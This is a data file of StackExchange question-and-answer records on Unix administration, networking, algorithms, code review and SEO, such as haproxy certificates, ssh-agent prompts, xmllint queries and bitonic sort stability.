{  "id": "_unix.282276"  , "question": "I have a Server that runs haproxy to redirect incoming traffic to the correct process based on the subdomain. haproxy is configured to use different SSL certificates depending on the subdomain.The configuration works, however sometimes (quite often though), haproxy serves the wrong certificate (it serves the certificate of another subdomain). I have to refresh the page multiple times in order to get the correct one.Here is my haproxy configuration:haproxy.conf"  , "title": "haproxy serving wrong SSL certificate for a subdomain"  , "tags": "ssl;certificates;haproxy"  } 
{  "id": "_unix.351468"  , "question": "Using pipes, one can create files with simple shell built-ins.{ echo #!/bin/bash \\  echo echo Hello, World! \\} > helloworld.shWith chmod these can then be made executable.$ chmod 755 helloworld.sh$ ./helloworld.shHello, World!I wonder whether it is possible to save the chmod step. Already, I found that umask cannot do the job. But perhaps someone knows an environment variable, bash trick, program to pipe through or other neat way to do it.Is it possible to have the file created with the executable bit already set?"  , "title": "create executable files via piping"  , "tags": "shell script;permissions;executable"  , "accepted_answer": "It is not possible to create an executable file solely with a shell redirection operator. There is no portable way, and there is no way in bash either (in the source code, you can see that redirection calls do_redirection_internal which calls redir_open with the parameter mode set to 0666, and this in turn calls open with this mode).You're calling a shell command anyway, so add ; chmod +x  somewhere in it. There's absolutely nothing wrong with that. One more line of code is not a problem. You need to do three things (create a file with some given content, make the file executable, execute it), so write three lines.There is a relatively obscure shell command that can create an executable file with some specified content: uudecode. But I would not recommend using it: it requires the input to be passed in a non-readable format, it bypasses the user's umask, and it's obscure.A sane alternative is to call bash /the/script instead of chmod +x /the/script && chmod +x, if you know what interpreter to execute the file with."  } 
{  "id": "_unix.327647"  , "question": "I am trying to prioritize TCP traffic using ToS field in IP header.I am saturating the interface(ethernet) by sending 1GB data through iperf with ToS field set to 0x10 (Minimize-Delay).I then start another TCP client with default ToS (0).Expectation :My TCP client should not send data till iperf completes sending its data.Result:The data from my client is sent even tough iperf is sending packets with higher priority.I also tried to create the same scenario by creating 2 separate clients and allocating 0x10 and 0x08 ToS to respective clients using iptables.I used :iptables -A PREROUTING -t mangle -p tcp --sport 5000 -j TOS --set-tos Minimize-DelayI am still not able to prioritize one client over other. Altough I can see the packets marked with ToS in wireshark.I am using Ubuntu (14.04) with iptables version 1.4.21Can someone kindly help me solve the issue?ThanksVarun"  , "title": "Why am I unable to prioritize TCP traffic using ToS fields?"  , "tags": "iptables;tcp;qos"  } 
{  "id": "_cs.22316"  , "question": "I have a cost function $f(X)=\\|\\hat{X}-X\\|_2$ to minimize which depends on a $s\\times s$ matrix $X$ where $\\hat{X}$ is given and $\\|X\\|_2=\\big(\\sum_{i,j}x_{ij}^2\\big)^{1/2} $. This matrix $X$ is generated by selecting only $s$ different rows from a matrix $B$ of dimension $n\\times s$. At the end, we are going to choose one matrix $X$ that generates the least cost $f(X)$ within all possible $n\\choose s$ submatrices of B. And so, this is a combinatorial problem that becomes complicated mostly when $n$ is big. So my question is can we find a suboptimal solution without going through all possible $n\\choose s$ submatrices and what kind of algorithm that I can apply to find such solution.My second question is can we apply a feature selection algorithm to find a suboptimal solution for a combinatorial problem."  , "title": "Suboptimal Solution for a combinatorial problem"  , "tags": "optimization;combinatorics;parallel computing"  , "accepted_answer": "Mixed-integer quadratic programmingGiven your updated question, this can be formulated as a mixed-integer quadratic programming problem.Let $y_1,\\dots,y_n$ be $n$ zero-or-one integer variables, subject to the constraint $y_1+\\dots+y_n=s$, with the intent that if $y_i=1$ then we are selecting the $i$th row from $B$.  Then for each $i,j$, the entry $(\\hat{X}-X)_{i,j}$ can be expressed as a linear function of $y_1,\\dots,y_n$.  We are asking to minimize the objective function $\\sum_i,j (\\hat{X}-X)_{i,j}^2$, which is a quadratic objective function.  Therefore, this can be expressed as a mixed-integer quadratic programming problem.So, you could try throwing an off-the-shelf solver for mixed-integer quadratic programming at this and see how it does.Closest vector problemIf everything in sight is an integer, I think this problem could also be approached as the problem of finding the closest point in a lattice to a given vector, the closest vector problem (CVP).Consider the following lattice over a $n+s^2$-dimensional space.  For each $i$, we have a basis vector of the form$$(0,\\dots,0,K,0,\\dots,0,B_i,0,\\dots,0),$$where $K$ is a large constant (to be chosen later) and in the above, $K$ appears in the $i$th column, and $B_i$ is the $i$th row of $B$ and it appears starting in the $n+(i-1)s+1$th column.  This gives us $n$ basis vectors, which form a basis for the lattice.  Now we want to find the lattice point that is closest to the vector$$(0,\\dots,0,\\hat{X}_1,\\hat{X}_2,\\dots,\\hat{X}_s),$$where the first $n$ columns of this vector are zero and $\\hat{X}_i$ is the $i$th row of $\\hat{X}$.  If we choose $K$ appropriately, the closest lattice point has a good chance of being a sum of just $s$ of the basis vectors and thus forming a solution to this problem.Now you could try to see if you can find any off-the-shelf CVP solvers, and see if they are effective at this problem.  This is only going to work if everything is an integer: if you've got real numbers, I don't think this will work."  } 
{  "id": "_unix.275014"  , "question": "I have a tar file that ends with .b and I don't know how to open it. Neither in windows, neither Linux I've been successful to open it.data.ext4.tar.bAnother tar that ends with .a could easily be opened in Windowsdata.ext4.tar.aWhat's is the difference? How can I possibly open the .b tar?This is from an Android OS image - a nandroid backup. .a consists of all the apps and hopefully .b consists of pictures"  , "title": "Open tar-file that ends with .b"  , "tags": "linux;tar"  } 
{  "id": "_webmaster.32816"  , "question": "I'm quitely new to SEO and I don't know how to handle foreign content on a blog.I am writing content for two different blogs. The subjects of these blogs intersect partially, so there are sometimes situations in which I like to post exactly the same entry on both blogs. On the other hand I often see blogposts with a note like this post was first published on www.xyz.com.I thought to avoid the problem with double content I could use a canonical link in both cases. But all I read about using it cross-domain supposes to still have the same website.So what is the best practice to handle this, by avoidingthat the original site doesn't benefit from being the first-posted andthat the second site has disadvantages because of containing double content?edit: I assume the fact that google tries to serve different contents for given keywords. Sites which doesn't seem to be the original one of multiple found content are ranked down, based on the presumption the content was stolen or something else (this correct?). How to prevent this behaviour if content is legally doubled? Would the canonical-link be the right way or isn't there any, bercause it'd be against googles aims?"  , "title": "how to handle foreign content on a blog (double content)"  , "tags": "seo;google;canonical url;best practices"  } 
{  "id": "_cs.77138"  , "question": "While Going through Exercise problem of  Computer Networking  A Top-Down Approach by Kurose and Ross, i encountered this problem.I am giving my approach and the point where i am stuck at.QuestionSuppose Host A sends 5 data segments to Host B, and the 2nd segment  (sent from A) is lost. In the end, all 5 data segments have been correctly  received by Host B.How many segments has Host A sent in total and how many ACKs has Host B sent in total for Go Back NGiven AnswerGoBackN:  $A$ sends $9$ segments in total. They are initially sent segments $1, 2, 3, 4, 5 $and later resent segments $2, 3, 4, $and $5$. $B$ sends $8$ ACKs. They are $4$ ACKS with sequence number $1,$ and $4$ ACKS with sequence numbers $2, 3, 4,$ and $5.$My Approach /DoubtI agree with the number of transmission of data segment by Host $A$.But i have doubt regarding the Acknowledgement by Host $B$.Why?We know that GBN has sender side window size=$N$ while reciever side as only$1$ which is the reason that it cannot  recieve Out of order packet.Now When Host $A$ sends entire packet $1,2,3,4,5$  where $2^{nd}$ gets lost then Host $B$ which is expecting Sequence number $1$.On recieving sequence number $1$, it will send ack as $2$i.e expecting sequence number $2$.As Sequence number gets lost , host $B$ will recieve sequence $3,4,5$ for which it will discard the packet as it is not the packet it is expecting.On recieving again sequence number $2,3,4,5$(retransmitted packet), Host $B$ will send the Acknowledgement.Total Acknowledgement i am getting is $5$ i.e ACk no for sequence number $1,2,3,4,5$ not $8$.Please help me out where i am wrong ??Thanks "  , "title": "Number of Retransmission in case of Go Back N"  , "tags": "computer networks"  , "accepted_answer": "GBN is resending ACK's for the discarded packets .Excerpt from what I can find:The receiver's actions in GBN are also simple. If a packet with sequence number n is received correctly and is in-order (i.e., the data last delivered to the upper layer came from a packet with sequence number n-1), the receiver sends an ACK for packet n and delivers the data portion of the packet to the upper layer. In all other cases, the receiver discards the packet and resends an ACK for the most recently received in-order packet. Note that since packets are delivered one-at-a-time to the upper layer, if packet k has been received and delivered, then all packets with a sequence number lower than k have also been delivered. Thus, the use of cumulative acknowledgements is a natural choice for GBN."  } 
{  "id": "_unix.180207"  , "question": "In my ssh_config file there are multiple entries for sites on the same server such as:Host site1     HostName 123.1.1.1     User myuser     Port 13245     GSSAPIAuthentication no     IdentityFile /home/myuser/.ssh/id_dsaHost site2...I use a passphrase protected key in order to log in to the remote server and this works fine. However, I'm attempting to create some bash scripts that synchronize files using rsync and would like for the script to to prompt me for the passphrase and then execute the rsync command. ssh-agent seems to be what I want to use but I'm having difficulty figuring it out. I'm looking for something like...HOST=site1:SRC=/var/fooDEST=/home/barSYNC=(rsync $SRC $HOST$DEST...)# rsync /var/foo site1:/home/bar...read -r -p Are you sure? [y/N]  responseresponse=${response,,}if [[ $response =~ ^(yes|y)$ ]]then    #check to see if the passphrase exists from prior execution of this script.    if [ no ];then        #use ssh-add to prompt for passphrase        ssh-add #? ;        #then execute rsync command        ${SYNC[@]}    else        #execute rsync command        ${SYNC[@]}    fielse    echo Operation aborted!fiThe only examples I've been able to find either suggest code be placed in .bashrc or .profile which forces me to enter a passphrase each time I start a shell or create an expect file which stores the passphrase, neither of which I desire to do. How can I achieve a prompt for the passphrase only once when I start my rsync script so that I can switch hosts and rerun the script as in my example."  , "title": "How can I invoke a prompt for an ssh key passphrase during the execution of a script?"  , "tags": "bash;shell script;ssh;rsync;prompt"  , "accepted_answer": "First you may check whether ssh-agent is running and start it if not:if ! [ -n $SSH_AUTH_SOCK ] ||   ! { ssh-add -l &>/dev/null; rc=$?; [ $rc -eq 0 ] || [ $rc -eq 1 ];}; then    echo Starting agent...    eval $(ssh-agent -s)fissh-add -l exits with code 1 if there are no identities and with code 2 if it cannot connect to ssh-agent.Then you add the passphrase for the key you need.ssh-add ~/path/to/keyfile"  } 
{  "id": "_unix.9221"  , "question": "I'm running wget like this:wget --mirror --adjust-extension --convert-links --no-cookies http://tshepang.net -o log-mainI get a bunch of these messages:Last-modified header missing -- time-stamps turned off.I suppose that means that pages keep getting re-downloaded, even though I have them locally.NOTE: I want this so that I don't have to re-download existing files each time I run the command mirror."  , "title": "How to work around missing 'last-modified' headers?"  , "tags": "wget;web"  , "accepted_answer": "Did you try adding the -c parameter?Excerpt from wget manual:-c  --continueBeginning with Wget 1.7, if you use -c  on a non-empty file, and it turns out  that the server does not support  continued downloading, Wget will  refuse to start the download from  scratch, which would effectively ruin  existing contents. If you really want  the download to start from scratch,  remove the file.Also beginning with Wget 1.7, if you  use -c on a file which is of equal  size as the one on the server, Wget  will refuse to download the file and  print an explanatory message. The same  happens when the file is smaller on  the server than locally (presumably  because it was changed on the server  since your last download  attempt)---because ''continuing'' is  not meaningful, no download occurs.On the other side of the coin, while  using -c, any file that's bigger on  the server than locally will be  considered an incomplete download and  only (length(remote) -  length(local)) bytes will be  downloaded and tacked onto the end of  the local file. This behavior can be  desirable in certain cases---for  instance, you can use wget -c to  download just the new portion that's  been appended to a data collection or  log file.To my knowledge it should skip files that are already downloaded and of the same size."  } 
{  "id": "_codereview.144492"  , "question": "Have some ideas to improve code from this discussion (Find valid triples for a sorted list of integers), and post new code in a new post.The new idea is, trying to remember where low bound searched last time, and when doing the search, only search from the lower bound where last search is satisfied, since with j increase each time, the 3rd dimension of satisfied triple could only increase. More specifically, these two lines,    #upperBoundIndex = findSum(numbers, j+1, numbers[i]+numbers[j]) # previous code    upperBoundIndex = findSum(numbers, upperBoundIndex, numbers[i] + numbers[j]) I'm working on a problem in which I have an input array, sorted positive unique integers, and have to try to find all possible triples \\$(x,y,z)\\$ which satisfy \\$x+y>z\\$ and \\$x<y<z\\$. For example, \\$(1,2,3)\\$ is not a valid triple since \\$1+2\\$ is not \\$> 3\\$, and \\$(3,4,5)\\$ is a valid triple since \\$3<4<5\\$ and \\$3+4>5\\$.This code leverages binary search, and I'm wondering if this can be improved in terms of time complexity. Please also help to point out any code issues/bugs or improvement areas.BTW, I am not using enumeration feature of Python since I want to keep j greater than i, and leverage the feature in my logics.from __future__ import divisiondef findSum(numbers, startIndex, value):        find index whose value is less than input parameter value (as upper bound)    ,and the greatest possible value possible    :param numbers: sorted value to search, may contains duplicates    :param startIndex: where to search from, inclusive    :param value: upper bound to search    :return: the index whose value is less than upper bound value        low = startIndex    high = len(numbers) - 1    while low <= high:        mid = (low + high) // 2        if numbers[mid] == value:            while mid >= low and numbers[mid] == value:                mid -= 1            return mid if mid >= low else -1        elif numbers[mid] > value:            high = mid - 1        else:            low = mid + 1    # while    return low-1 if (low-1) >= startIndex else -1def findTriagles(numbers):        :param numbers: could contains duplicate number, assume numbers are sorted    :return: unique triples        results = set()    for i in range(0, len(numbers)-2):        upperBoundIndex=min(i+2, len(numbers)-1)        for j in range(i+1, len(numbers)-1):            #upperBoundIndex = findSum(numbers, j+1, numbers[i]+numbers[j]) # previous code            upperBoundIndex = findSum(numbers, upperBoundIndex, numbers[i] + numbers[j])            if upperBoundIndex != -1:                for k in range(j+1, upperBoundIndex+1):                    results.add((numbers[i],numbers[j],numbers[k]))    return resultsif __name__ == __main__:    #print findTriagles([4,5,6,7]) # output, set([(4, 6, 7), (4, 5, 7), (4, 5, 6), (5, 6, 7)])    print findTriagles([4, 4, 6, 7]) # output, set([(4, 4, 6), (4, 4, 7), (4, 6, 7)])"  , "title": "Find valid triples for a sorted list of integers (part 2)"  , "tags": "python;algorithm;python 2.7;sorting;binary search"  } 
{  "id": "_unix.21378"  , "question": "I would love to get the mappings to work for keyboard shortcuts shown here http://ascii-table.com/ansi-escape-sequences.php  I have the hang of color but for some reason nothing else seems to work!"  , "title": "Non printing characters"  , "tags": "bash;terminal"  , "accepted_answer": "Those codes are primarily for ANSI.SYS, a DOS extension. The equivalent for BASH is to rebind the keys via readline. See the bash(1) man page, READLINE section."  } 
{  "id": "_codereview.135259"  , "question": "I have a to write a simple utility function that given a time in CST and a date in PST, tells if the date is today and if the current time is less than the cutoff (post converting cutoff to PST).This is my attempt (highly childish but I seriously don't get Java date-time at all). If anyone could help me improve this code, I would be highly grateful.  /**   * Returns true if:   *   - availableDate is today    *   - currentTime is less than cutoff time   * False otherwise   *    * @param cutoffTimeStr HH:mm format, CST timezone   * @param availableDate YYYYMMDD format, PST timezone   * @return true/false   */  public Boolean test(String cutoffTimeStr, String availableDate) throws ParseException{    DateFormat availableDateFormat = new SimpleDateFormat(YYYYMMDD, Locale.ENGLISH);    Date avlDate = availableDateFormat.parse(availableDate);    avlDate.setHours(new Date().getHours());    avlDate.setMinutes(new Date().getMinutes());    //Compose current time with the given date    DateFormat cutOffFormat = new SimpleDateFormat(HH:mm);    cutOffFormat.setTimeZone(TimeZone.getTimeZone(CST));    Time cutOffTime = new java.sql.Time(cutOffFormat.parse(cutoffTimeStr).getTime());    //cutOffTime is PST version of given CST time    Date currentDateWithCutoffTime = new Date();    currentDateWithCutoffTime.setHours(cutOffTime.getHours());    currentDateWithCutoffTime.setMinutes(cutOffTime.getMinutes());    //Today's date with time as cutoff    if(avlDate.before(currentDateWithCutoffTime)){      return true;    } else{      return false;    }  }I have assumed that the availableDate will always be today or greater than today and thus, if its before the currentDateWithCutoffTime, we can return true."  , "title": "Java util to compare if time beyond cutoff"  , "tags": "java;datetime"  } 
{  "id": "_cs.44816"  , "question": "Could you please resolve a confusion with Schaefer's theorem for me? Namely, why does it not imply many problems in P are NP-complete? For example, primality testing surely cannot be reduced to one of the six classes in the theorem, so why does that not imply it's NP-complete?"  , "title": "Shaefer's Dichotomy Theorem"  , "tags": "complexity theory;np complete;satisfiability"  } 
{  "id": "_softwareengineering.87460"  , "question": "What is the best strategy to go about understanding some one else's code for a medium sized project, if the code is not well documented and does not adhere to many coding standards?"  , "title": "Deciphering foreign code"  , "tags": "maintenance;comments;knowledge transfer"  , "accepted_answer": "My approach:Play with the app (use it)Check the code organization (layers/entities etc.)Generate references diagram (i.e. using NDepend for .NET)Look for some code patterns in code (this will give you some ideas what the author(s) tried to implement)Don't dig into details too deep at start.Focus on understanding the dataflow (i.e. how are lists populated, how is data saved, for example: UI->BusinessLayer->DataAccessLayer->SLQ Stored Procedure)"  } 
{  "id": "_cstheory.10362"  , "question": "I am a computer science research student working in application of Machine Learning to solve Computer Vision problems.Since, lot of linear algebra(eigen-values, SVD etc.) comes up when reading Machine Learning/Vision literature, I decided to take a linear algebra course this semester. Much to my surprise, the course didn't look at all like Gilbert Strang's Applied Linear algebra(on OCW) I had started taking earlier. The course textbook is Linear Algebra by Hoffman and Kunze. We started with concepts of Abstract algebra like groups, fields, rings, isomorphism, quotient groups etc. And then moved on to study theoretical linear algebra over finite fields, where we cover proofs for important theorms/lemmas in the following topics:Vector spaces, linear span, linear independence, existence of basis.  Linear transformations. Solutions of linear equations, row reduced  echelon form, complete echelon form,rank. Minimal polynomial of a  linear transformation. Jordan canonical form. Determinants.  Characteristic polynomial, eigenvalues and eigenvectors. Inner product  space. Gram Schmidt orthoganalization. Unitary and Hermitian  transformations. Diagonalization of Hermitian transformations.I wanted to understand if there is any significance/application of understanding these proofs in machine learning/computer vision research or should I be better off focusing on the applied Linear Algebra?"  , "title": "What is the significance of abstract linear algebra in machine learning/computer vision research?"  , "tags": "machine learning;linear algebra;cv.computer vision"  , "accepted_answer": "In my experience (YMMV) linear algebra is very much used as a tool in Machine Learning and Computer Vision, with little interest in the underlying mathematics.That said, you'll need a more mathematical understanding than, say, a games programmer or a basic researcher in the natural sciences. Basically you'll need to know enough to take a method like PCA apart and put it back together again, but you don't need to worry about your matrices containing anything other than real values. It sounds like this course is starting off deeper and more general than you want, but the list of topics suggests that you are moving in the right direction. So long as some attention is given to how to translate the mathematical methods into the computer. It's one thing to suggest that an SVD decomposition exists, and another to actually compute it.The deep mathematical understanding won't hurt, but there's no guarantee that all of it will be useful to you. "  } 
{  "id": "_unix.28853"  , "question": "I've used NEdit since about 2003. NEdit's whitespace highlighting is subtle and I prefer it to the dot other editors put in whitespace. NEdit's background normally is light grey and whitespace is rendered as white without a dot (and tabs in a darker gray).However, NEdit doesn't support UTF-8 encoding, so I don't intend to use NEdit for much longer. I've (reluctantly) determined that gedit is the presently available editor that is closest to what I want.I am trying to replicate NEdit's look in gedit without success. I can change the style of the spaces shown with the Draw Spaces plugin by adding the following to the gedit style file:<style name=draw-spaces foreground=color/>The foreground property only changes the color of the dot. There does not appear to be a corresponding background property to change the background. I thought if I made foreground and background the same color then I could replicate NEdit's look.How can I change the background color of the whitespace highlighting in gedit without also changing the background color of the remainder of the text?"  , "title": "Changing background color of gedit's whitespace highlighting"  , "tags": "gedit"  } 
{  "id": "_cstheory.27104"  , "question": "I was wondering, is the bitonic sort algorithm stable? I searched the original paper, wikipedia and some tutorials, could not find it.It seems to me that it should be, as it is composed of merge / sort steps, however was unable to find answer anywhere.The reason why I'm asking - I was comparing this particular implementation of bitonic sort to the sort implemented in the C++ standard library, for array length 9 it requires 28 comparison / swap operations, while the standard library sort (which is unstable) requires 25. The three extra cswaps do not seem enough to make the sort stable."  , "title": "Is the bitonic sort algorithm stable?"  , "tags": "sorting;sorting network;stable"  , "accepted_answer": "No, bitonic sort is not stable.For this post I will denote numbers as 2;0 where only the part before the ; is used for comparison and the part behind ; to mark the initial position.Comparison-exchanges are denoted by arrows where the head points at the desired location of the greater value.As written in the link that @JukkaSuomela posted a stable sorting network needs to avoid swaps of equal values.When swapping equal values, the bitonic sorter for two values is already unstable:0;0 ----- 0;1      |      v0;1 ----- 0;0Of course, this can be fixed when we don't swap equal values:0;0 ----- 0;0      |      v0;1 ----- 0;1However, it could happen that the order of two equal elements is swapped without them being compared to each other.This is exactly the case in this example of a bitonic sorter for 4 values:1;0 ------ 1;0 ------ 0;2 ------ 0;2      ^          |          |      |          |          v1;1 ------ 1;1 --|--- 1;1 ------ 1;1                 ||                 v|0;2 ------ 0;2 ---|-- 1;0 ------ 1;0      |           |         |      v           v         v2;3 ------ 2;3 ------ 2;3 ------ 2;3Although we were careful not to swap elements that compared equal (upper left comparison), the merging pass swapped the order of 1;1 and 1;0 which cannot be corrected later on.This counterexample proves that bitonic sort cannot be stable."  } 
{  "id": "_unix.235489"  , "question": "What does . /path/to/a/shell-script-filedo exactly? I mean obviously it executes that shell script but why put that . followed by a space before the path/name of the script file?"  , "title": ". /path/to/a/shell-script-file ? (within a shell script)"  , "tags": "bash;shell"  } 
{  "id": "_webapps.51728"  , "question": "I have one problem to bring to your kind attention and I hope that you'll know the answer and thus help me. Well, it is about WiseStamp, I have been used it in the past, so I am quite familiar to it. Only that I have been using it intermittently. I remember that it used to work excellent on all of my email accounts be it Yahoo or Google.But now I have installed it is again on all of my browsers, and although it seem to work fine in Gmail, it has a problem with Yahoo - the WiseStamp signature doesn't appear at all and I can't insert it either. I must say that, when I sign into my WiseStamp account and I edit my signature, I do can see it, but only in my preview signature. Otherwise, I can only see it in my Gmail, as I have already told. I have to mention that, in order to solve this situation, I have followed the advices from the official site. But, unfortunately, those advices did not helped much. Practically, they ask me to reinstall the add-on. I did that three times, but with no result. I did a Google search over it but it seem that I have no luck in it. All I could find was an article apparently suggesting that the new changes of Yahoo mail can affect some codes, or something like that. and it occurred to me that this might be the cause of the unusual behaviour of the add-on.Even so, this must have a solution, and if you know how to fix this and make the WiseStamp signature reappear in Yahoo mail, please, tell me!Thank you in advance for your help!"  , "title": "How can I fix a WiseStamp signature who disappears from Yahoo mail?"  , "tags": "yahoo mail;email signature"  } 
{  "id": "_codereview.123571"  , "question": "This code calls the iControl REST API provided by BIG-IP LTM. Trying to get the list of the pools, it's current status and the pool members associated with the pool.My code works like this, based on three calls:Get the pool names (/mgmt/tm/ltm/pool)Based on the pool names (path), get its status (mgmt/tm/ltm/pool/~pool~name/stats)Based on the pool names (path), get its pool members (/mgmt/tm/ltm/pool/~pool~names/members)If I do only the first call, I get the output within milliseconds. After adding the second call, it becomes worse. With a third call, it takes good amount of time (more than 6 minutes) to get all the output for about 400 pools.How can I optimize this code?import requestsfrom requests.auth import HTTPBasicAuthBASE_URL = https://localhost/mgmt/tmusername = adminpassword = admindef makeRequest(username, password, url):    response_data = requests.get(url, auth = HTTPBasicAuth(username, password), verify = False)    return response_data.json()pool_data = makeRequest(username, password, BASE_URL + /ltm/pool)for pools in pool_data['items']:    print pools['name']    tildPath = pools['fullPath'].replace('/','~')    #GET the Pool stats    pool_stats = makeRequest(username, password, BASE_URL + /ltm/pool/ + tildPath + /stats)    print pool_stats['entries']['status.availabilityState']['description']    #GET the Pool Members    pool_members = makeRequest(username, password, BASE_URL + /ltm/pool/ + tildPath + /members)    for members in pool_members['items']:        print members['name'] +  + members['address'] +   + members['state']"  , "title": "REST API calls to BIG-IP LTM to get the status of pool members"  , "tags": "python;performance;rest;status monitoring"  } 
{  "id": "_codereview.95262"  , "question": "HTTP request is made, and a JSON string is returned, which needs to be parsed.Example response:{urlkey: com,practicingruby)/, timestamp: 20150420004437, status: 200, url: https://practicingruby.com/, filename: common-crawl/crawl-data/CC-MAIN-2015-18/segments/1429246644200.21/warc/CC-MAIN-20150417045724-00242-ip-10-235-10-82.ec2.internal.warc.gz, length: 9219, mime: text/html, offset: 986953615, digest: DOGJXRGCHRUNDTKKJMLYW2UY2BSWCSHX}{urlkey: com,practicingruby)/, timestamp: 20150425001851, status: 200, url: https://practicingruby.com/, filename: common-crawl/crawl-data/CC-MAIN-2015-18/segments/1429246645538.5/warc/CC-MAIN-20150417045725-00242-ip-10-235-10-82.ec2.internal.warc.gz, length: 9218, mime: text/html, offset: 935932558, digest: LJKP47MYZ2KEEAYWZ4HICSVIHDG7CARQ}{urlkey: com,practicingruby)/articles/ant-colony-simulation?u=5c7a967f21, timestamp: 20150421081357, status: 200, url: https://practicingruby.com/articles/ant-colony-simulation?u=5c7a967f21, filename: common-crawl/crawl-data/CC-MAIN-2015-18/segments/1429246641054.14/warc/CC-MAIN-20150417045721-00029-ip-10-235-10-82.ec2.internal.warc.gz, length: 10013, mime: text/html, offset: 966385301, digest: AWIR7EJQJCGJYUBWCQBC5UFHCJ2ZNWPQ}My code:result = Net::HTTP.get(URI(http://index.commoncrawl.org/CC-MAIN-2015-18-index?url=#{url}&output=json)).split(})result.each do |res|    break if res == \\n    #need to add back braces because we used it to split the various json hashes from the http request    res << }    to_crawl = JSON.parse(res)    puts to_crawlendIt works, but I'm sure there is a much better way to do it, or at least a better way to write the code."  , "title": "Parsing JSON string from HTTP request"  , "tags": "ruby;json;http"  , "accepted_answer": "This body.split('{'}) is doing you a disservice, as it destroys the structure of the response. Split it by lines instead:body = Net::HTTP.get(...)data = body.lines.map { |line| JSON.parse(line) }"  } 
{  "id": "_cs.77390"  , "question": "The order of the classes of three does not matter. Example: 1,2,3 and 3,2,1 would be considered one class. I am trying to do fisher discriminant analysis on a set of data and want to begin reducing the parameters to better help with classification. As of now I cannot tell which parameters are the most pertinent, so looping every combination through and then having MATLAB take out the LDA analysis with the MisIDs on the lower end in my algorithm will help to isolate the parameters. Can someone refresh me on the math behind this/suggest a way to code this in MATLAB?"  , "title": "Data Analysis: Have 70 data parameters, how many different classes of 3 are possible?"  , "tags": "combinatorics"  } 
{  "id": "_unix.122992"  , "question": "I have installed Debian 7.4 on my Iomega ix2-200 NAS, following this blog. The ix2-200 is running an ARM Marvel CPU and has a 128 MB NAND flash memory. The flash contains an initramfs image (uInitrd) and a kernel image (uImage) to boot the system.Sometimes, a new package (like cryptsetup) requieres to update the kernel and fails (Unsupported platform). I manually need to flash the new initramfs initrd.img-3.2.0-4-kirkwood and kernel vmlinuz via mkimage, which works fine.The (anoying) issue: everytime I run apt-get upgrade the system is showing up those unfinished packages. How can I tell my system that everything is fine?I have tried Google and StackExchange, but most of the posts are dealing with how to remove those unfinished/incomplete packages. I want to keep it!Please see attached code snapshot:#> apt-get install cryptsetupReading package lists... DoneBuilding dependency treeReading state information... DoneThe following extra packages will be installed:  console-setup console-setup-linux cryptsetup-bin kbd keyboard-configuration libcryptsetup4 xkb-dataSuggested packages:  dosfstoolsThe following NEW packages will be installed:  console-setup console-setup-linux cryptsetup cryptsetup-bin kbd keyboard-configuration libcryptsetup4 xkb-data0 upgraded, 8 newly installed, 0 to remove and 0 not upgraded.Need to get 3,179 kB of archives.After this operation, 11.8 MB of additional disk space will be used.Do you want to continue [Y/n]? y...Processing triggers for initramfs-tools ...update-initramfs: Generating /boot/initrd.img-3.2.0-4-kirkwoodUnsupported platform.run-parts: /etc/initramfs/post-update.d//flash-kernel exited with return code 1dpkg: error processing initramfs-tools (--configure): subprocess installed post-installation script returned error exit status 1Errors were encountered while processing: initramfs-toolsE: Sub-process /usr/bin/dpkg returned an error code (1)#> apt-get upgradeReading package lists... DoneBuilding dependency treeReading state information... Done0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.1 not fully installed or removed.After this operation, 0 B of additional disk space will be used.Do you want to continue [Y/n]?"  , "title": "How to mark not fully installed apt-get package as successfully installed"  , "tags": "debian;apt;initramfs"  , "accepted_answer": "You should fix /etc/initramfs/post-update.d/flash-kernel so that it successfully flashes your kernel & initrd. It's in /etc, so you're free to edit it to make it work on your board.If you can't edit it to make it work (e.g., flashing is done with JTAG), then you ought to have it print out a big warning reminding you to flash it, and exit 0.Once you've fixed it, then you can run dpkg --configure -a."  } 
{  "id": "_unix.92158"  , "question": "I have a xml called Det.xml like this :<?xml version=1.0 encoding=UTF-8?>    <S:Envelope xmlns:S=http://schemas.xmlsoap.org/soap/envelope/>        <S:Body>            <ns4:grtHgetRed xmlns:ns2=http://object xmlns:ns3=http://object xmlns:ns4=http://object>                <RequestId>lol</RequestId>                <MessageDateTime>54.009</MessageDateTime>                <SenderId>UH</SenderId>                <ReceiverId>GER</ReceiverId>                <TrackingNumber>45</TrackingNumber>                <ServerName>trewds</ServerName>                <ResponseType>success</ResponseType>                <StatusInfo>                <Status>success</Status>                <SystemMessage>Hagert</SystemMessage>                <UserMessage>Hgert</UserMessage>                <Origination>htref</Origination>                </StatusInfo>            </ns4:grtHgetRed>        </S:Body>    </S:Envelope>I am trying to get the ResponseType node value success from it using xmllint in Unix shell script and so i tried the following :echo cat //*[local-name()='S:Envelope'/*[local-name()='S:Body']/*[local-name()='ns4:grtHgetRed']/*[local-name()='ResponseType'] | xmllint --shell Det.xml | sed '/^\\/ >/d' | sed 's/<[^>]*.//g'But it's not working . Also i don't  have xpath in my unix environment . Can any one tell me what am i doing wrong here ?I also tried using statusMSG==$(echo cat /Envelope/Body/grtHgetRed/ResponseType/text() | xmllint --nocdata --shell response.xml | sed '1d;$d'), then echo $statusMSG, but this gives an empty echo. Is this  because of namespace problem ?"  , "title": "Get Node value from a XML using xmllint"  , "tags": "xmllint"  , "accepted_answer": "If your Det.xml is always going to look like that (e.g. won't have any extra ResponseType nodes), you can simply use this:xmllint --xpath 'string(//ResponseType)' Det.xmlAnd it will spit out: successIf your xmllint doesn't have xpath for some reason, you can always fall back to regular expressions for this sort of thing:grep -Po '(?<=<ResponseType>)\\w+(?=</ResponseType>)' Det.xmlIt uses Perl regular expressions to allow for the positive look aheads / look behinds and only shows the matched part (not the whole line). This will output the same as above without using xmllint / xpath at all."  } 
{  "id": "_webmaster.64791"  , "question": "I'm trying to understand if/how I can benefit from people linking to pages on my site which are with pages that have a noindex meta tag. 2 actions I'm considering to perform:Remove the robots.txt disallow to these pages, to make sure inner links get the propagated link juice.Adding a canonical tag to the most similar page that doesn't have a noindex meta tagAre these valid approaches that might help? Any others I should consider?"  , "title": "Can I benefit from links to pages on my site which have a `noindex` meta tag?"  , "tags": "seo;canonical url;noindex"  } 
